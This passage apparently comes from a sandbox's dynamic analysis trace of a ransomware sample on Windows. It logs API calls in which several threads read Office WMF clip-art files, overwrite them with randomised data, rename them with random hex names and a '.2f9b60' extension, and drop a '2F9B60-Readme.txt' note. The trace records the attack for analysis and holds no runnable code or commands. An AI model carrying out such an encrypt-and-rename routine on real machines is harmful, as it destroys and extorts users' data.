BaseAddress=0x1ced9710) returned 1 [0105.912] FlushFileBuffers (hFile=0x15c8) returned 1 [0105.916] CloseHandle (hObject=0x15c8) returned 1 [0105.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4bf0 [0105.918] wcscpy (in: _Dest=0x202a4bf0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0105.918] wcscat (in: _Dest=0x202a4bf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0105.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0106.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4bf0) returned 1 [0106.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784760) returned 1 Thread: id = 763 os_tid = 0x12d0 [0098.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196400.wmf")) returned 0x20 [0099.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF", dwFileAttributes=0x20) returned 1 [0099.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196400.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15e4 [0099.717] GetFileSizeEx (in: hFile=0x15e4, lpFileSize=0x2126fb40 | out: lpFileSize=0x2126fb40*=36030) returned 1 [0099.717] SetFilePointerEx (in: hFile=0x15e4, liDistanceToMove=0x8cba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.717] ReadFile (in: hFile=0x15e4, lpBuffer=0x2126fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2126fb08, lpOverlapped=0x0 | out: lpBuffer=0x2126fac0*, lpNumberOfBytesRead=0x2126fb08*=0x4, lpOverlapped=0x0) returned 1 [0099.987] SetFilePointerEx (in: hFile=0x15e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0099.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c30 [0099.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262cc0 [0099.988] NtQuerySystemTime (in: CurrentTime=0x2126fa00 | out: CurrentTime=0x2126fa00*=132462177055102000) returned 0x0 [0099.988] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x69a95352 [0099.988] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x23962cf8 [0099.988] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x4192d070 [0099.988] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x54cd5331 [0099.988] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x1c32f5b9 [0099.988] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x7c571bf2 [0099.988] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x77a0641 [0099.988] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x774814bf [0099.988] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x54f9fa36 [0099.988] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x4d81ec91 [0099.988] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x9c07c46 [0099.988] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x7cc7af19 [0099.988] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x7dae529 [0099.988] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x51b0bb84 [0099.988] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x18a05e93 [0099.988] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x79dbca7b [0099.988] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x15a2e9da [0099.988] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x345e9f26 [0099.988] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x61d93d6b [0099.988] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x112b3a1f [0099.988] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x4d89210c [0099.988] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x5a1266e7 [0099.989] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x610d4690 [0099.989] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x79179ae0 [0099.989] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x696d18f2 [0099.989] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x53f6f3ee [0099.989] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x7f4a413b [0099.989] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x6d7861b4 [0099.989] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x2c213def [0099.989] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x261de214 [0099.989] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x3a2c48dc [0099.989] RtlRandomEx (in: Seed=0x2126f9f0 | out: Seed=0x2126f9f0) returned 0x1969f9f5 [0100.140] SetFilePointerEx (in: hFile=0x15e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.140] ReadFile (in: hFile=0x15e4, lpBuffer=0x201e2d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2126fa60, lpOverlapped=0x0 | out: lpBuffer=0x201e2d00*, lpNumberOfBytesRead=0x2126fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0100.427] SetFilePointerEx (in: hFile=0x15e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c6c0 [0100.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866cc0 [0100.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202638f0 [0100.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202638f0) returned 1 [0100.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201885a0 [0100.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202638f0 [0100.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263920 [0100.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263920) returned 1 [0100.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866cc0) returned 1 [0100.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c6c0) returned 1 [0100.428] WriteFile (in: hFile=0x15e4, lpBuffer=0x201885a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2126fa60, lpOverlapped=0x0 | out: lpBuffer=0x201885a0*, lpNumberOfBytesWritten=0x2126fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0100.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201885a0) returned 1 [0100.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201e2d00) returned 1 [0100.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b8606f0 [0100.631] SetFilePointerEx (in: hFile=0x15e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.632] WriteFile (in: hFile=0x15e4, lpBuffer=0x167940*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2126fb10, lpOverlapped=0x0 | out: lpBuffer=0x167940*, lpNumberOfBytesWritten=0x2126fb10*=0x10a, lpOverlapped=0x0) returned 1 [0100.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0100.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8673c0 [0100.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262000 [0100.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262000) returned 1 [0100.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0100.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262000 [0100.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261fd0 [0100.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261fd0) returned 1 [0100.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8673c0) returned 1 [0100.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0100.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f730 [0100.682] sprintf (in: _Dest=0x1cd9f730, _Format="%c%c" | out: _Dest="36") returned 2 [0100.682] sprintf (in: _Dest=0x1cd9f732, _Format="%c%c" | out: _Dest="f5") returned 2 [0100.682] sprintf (in: _Dest=0x1cd9f734, _Format="%c%c" | out: _Dest="ff") returned 2 [0100.682] sprintf (in: _Dest=0x1cd9f736, _Format="%c%c" | out: _Dest="f8") returned 2 [0100.682] sprintf (in: _Dest=0x1cd9f738, _Format="%c%c" | out: _Dest="3f") returned 2 [0100.682] sprintf (in: _Dest=0x1cd9f73a, _Format="%c%c" | out: _Dest="90") returned 2 [0100.682] sprintf (in: _Dest=0x1cd9f73c, _Format="%c%c" | out: _Dest="35") returned 2 [0100.682] sprintf (in: _Dest=0x1cd9f73e, _Format="%c%c" | out: _Dest="97") returned 2 [0100.682] sprintf (in: _Dest=0x1cd9f740, _Format="%c%c" | out: _Dest="c5") returned 2 [0100.682] sprintf (in: _Dest=0x1cd9f742, _Format="%c%c" | out: _Dest="ae") returned 2 [0100.682] sprintf (in: _Dest=0x1cd9f744, _Format="%c%c" | out: _Dest="40") returned 2 [0100.682] sprintf (in: _Dest=0x1cd9f746, _Format="%c%c" | out: _Dest="a4") returned 2 [0100.682] sprintf (in: _Dest=0x1cd9f748, _Format="%c%c" | out: _Dest="95") returned 2 [0100.682] sprintf (in: _Dest=0x1cd9f74a, _Format="%c%c" | out: _Dest="69") returned 2 [0100.682] sprintf (in: _Dest=0x1cd9f74c, _Format="%c%c" | out: _Dest="88") returned 2 [0100.682] sprintf (in: _Dest=0x1cd9f74e, _Format="%c%c" | out: _Dest="c4") returned 2 [0100.682] sprintf (in: _Dest=0x1cd9f750, _Format="%c%c" | out: _Dest="ec") returned 2 [0100.682] sprintf (in: _Dest=0x1cd9f752, _Format="%c%c" | out: _Dest="3b") returned 2 [0100.682] sprintf (in: _Dest=0x1cd9f754, _Format="%c%c" | out: _Dest="39") returned 2 [0100.682] sprintf (in: _Dest=0x1cd9f756, _Format="%c%c" | out: _Dest="de") returned 2 [0100.682] sprintf (in: _Dest=0x1cd9f758, _Format="%c%c" | out: _Dest="16") returned 2 [0100.683] sprintf (in: _Dest=0x1cd9f75a, _Format="%c%c" | out: _Dest="e3") returned 2 [0100.683] sprintf (in: _Dest=0x1cd9f75c, _Format="%c%c" | out: _Dest="99") returned 2 [0100.683] sprintf (in: _Dest=0x1cd9f75e, _Format="%c%c" | out: _Dest="23") returned 2 [0100.683] RtlInitAnsiString (in: DestinationString=0x2126fb88, SourceString="36f5fff83f903597c5ae40a4956988c4ec3b39de16e39923" | out: DestinationString="36f5fff83f903597c5ae40a4956988c4ec3b39de16e39923") [0100.683] RtlAnsiStringToUnicodeString (in: DestinationString=0x2126fb58, SourceString="36f5fff83f903597c5ae40a4956988c4ec3b39de16e39923", AllocateDestinationString=1 | out: DestinationString="36f5fff83f903597c5ae40a4956988c4ec3b39de16e39923") returned 0x0 [0100.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86eaa0 [0100.683] wcscat (in: _Dest=0x202b0fb0, _Source="36f5fff83f90" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\36f5fff83f90") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\36f5fff83f90" [0100.683] wcscat (in: _Dest=0x202b0fb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\36f5fff83f90.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\36f5fff83f90.2f9b60" [0100.683] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\36f5fff83f90.2f9b60", NtPathName=0x2126fb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\36f5fff83f90.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0100.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad810 [0103.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad810) returned 1 [0103.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99020) returned 1 [0103.472] NtQueryInformationFile (in: FileHandle=0x15e4, IoStatusBlock=0x2126fb98, FileInformation=0x2126fba8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2126fb98, FileInformation=0x2126fba8) returned 0x0 [0103.472] NtSetInformationFile (FileHandle=0x15e4, IoStatusBlock=0x2126fb98, FileInformation=0x2126fba8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0103.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0fb0) returned 1 [0103.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86eaa0) returned 1 [0103.963] FlushFileBuffers (hFile=0x15e4) returned 1 [0103.964] CloseHandle (hObject=0x15e4) returned 1 [0104.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050a800 [0104.146] wcscpy (in: _Dest=0x2050a800, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0104.146] wcscat (in: _Dest=0x2050a800, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0104.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0xffffffff [0104.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17a0 [0104.676] WriteFile (in: hFile=0x17a0, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2126fa50, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2126fa50*=0xba9, lpOverlapped=0x0) returned 1 [0104.680] CloseHandle (hObject=0x17a0) returned 1 [0107.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a800) returned 1 [0107.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7847f0) returned 1 Thread: id = 764 os_tid = 0x12d4 [0098.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199036.wmf")) returned 0x20 [0099.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF", dwFileAttributes=0x20) returned 1 [0099.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199036.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15e0 [0099.715] GetFileSizeEx (in: hFile=0x15e0, lpFileSize=0x1f7df9e0 | out: lpFileSize=0x1f7df9e0*=9496) returned 1 [0099.715] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x2514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.715] ReadFile (in: hFile=0x15e0, lpBuffer=0x1f7df960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f7df9a8, lpOverlapped=0x0 | out: lpBuffer=0x1f7df960*, lpNumberOfBytesRead=0x1f7df9a8*=0x4, lpOverlapped=0x0) returned 1 [0100.222] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202631a0 [0100.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263230 [0100.223] NtQuerySystemTime (in: CurrentTime=0x1f7df8a0 | out: CurrentTime=0x1f7df8a0*=132462177057442000) returned 0x0 [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x66f2ab27 [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x42eff6f7 [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x16490a58 [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x7fd39a01 [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x2b4702c0 [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x5ab91d88 [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x6682c0c0 [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0xcdd5d87 [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x3ee8ce [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x6585a859 [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x741a718a [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x1789c74d [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x51e9a78e [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x154d812a [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x6d42782c [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x472dc389 [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x7ac6d14c [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x6859d6f [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x16543eb1 [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x962fd6d [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x50e5e353 [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x570a2e18 [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x2eae6a10 [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x232f7c85 [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x561cd47b [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x3f3716a0 [0100.223] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x7501ce3d [0100.224] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x8ceacd [0100.224] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x6db56daa [0100.224] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x76177d59 [0100.224] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0xadceece [0100.224] RtlRandomEx (in: Seed=0x1f7df890 | out: Seed=0x1f7df890) returned 0x6c152e2a [0100.764] ReadFile (in: hFile=0x15e0, lpBuffer=0x201485a0, nNumberOfBytesToRead=0x2518, lpNumberOfBytesRead=0x1f7df890, lpOverlapped=0x0 | out: lpBuffer=0x201485a0*, lpNumberOfBytesRead=0x1f7df890*=0x2518, lpOverlapped=0x0) returned 1 [0101.580] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.580] WriteFile (in: hFile=0x15e0, lpBuffer=0x2043b690*, nNumberOfBytesToWrite=0x2518, lpNumberOfBytesWritten=0x1f7df894, lpOverlapped=0x0 | out: lpBuffer=0x2043b690*, lpNumberOfBytesWritten=0x1f7df894*=0x2518, lpOverlapped=0x0) returned 1 [0101.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260380 [0101.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260350 [0101.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260350) returned 1 [0101.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2043b690) returned 1 [0101.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201485a0) returned 1 [0101.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866bc0) returned 1 [0101.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0101.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20260350 [0101.880] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.880] WriteFile (in: hFile=0x15e0, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1f7df9b0, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x1f7df9b0*=0x10a, lpOverlapped=0x0) returned 1 [0102.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.296] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625d0 [0102.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202625d0) returned 1 [0102.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625d0 [0102.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625a0 [0102.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202625a0) returned 1 [0102.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.298] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="a2") returned 2 [0102.298] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="4c") returned 2 [0102.298] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="97") returned 2 [0102.298] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="75") returned 2 [0102.298] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="5c") returned 2 [0102.298] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="86") returned 2 [0102.298] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="aa") returned 2 [0102.298] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="68") returned 2 [0102.298] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="ee") returned 2 [0102.298] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="d9") returned 2 [0102.298] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="d9") returned 2 [0102.298] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="b1") returned 2 [0102.299] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="dc") returned 2 [0102.299] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="d9") returned 2 [0102.299] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="a8") returned 2 [0102.299] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="30") returned 2 [0102.299] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="09") returned 2 [0102.299] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="38") returned 2 [0102.299] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="63") returned 2 [0102.299] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="61") returned 2 [0102.299] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="4f") returned 2 [0102.299] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="d8") returned 2 [0102.299] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="c0") returned 2 [0102.299] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="e9") 